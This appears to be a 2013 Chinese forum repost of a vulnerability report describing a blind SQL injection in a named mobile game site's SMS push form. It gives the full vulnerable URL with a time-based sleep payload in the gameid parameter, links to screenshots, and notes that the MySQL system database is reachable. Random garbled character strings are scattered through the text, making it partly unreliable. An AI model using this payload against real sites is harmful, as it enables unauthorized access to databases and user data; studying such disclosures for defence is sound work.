简要描述：" H4 H5 x. W7 o& [7 c- H
凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。
5 F& W! t. k8 R
, f4 B# k& P+ W" k! p8 I! r/ B: B, v详细说明：7 C4 y2 K {& t/ l
存在SQL盲注url:6 n5 l K4 C/ u# L& W& v
fenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1
/ l# C+ @4 Z' W' k0 Whttp://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png
7 r$ Y! s: h' J0 R+ J8 nhttp://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png
6 ]' @0 I" R6 D4 L9 y* y: d' ^http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg4 D1 i* [; {8 T/ i0 \. w
1 N n+ d, U V" D& @能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对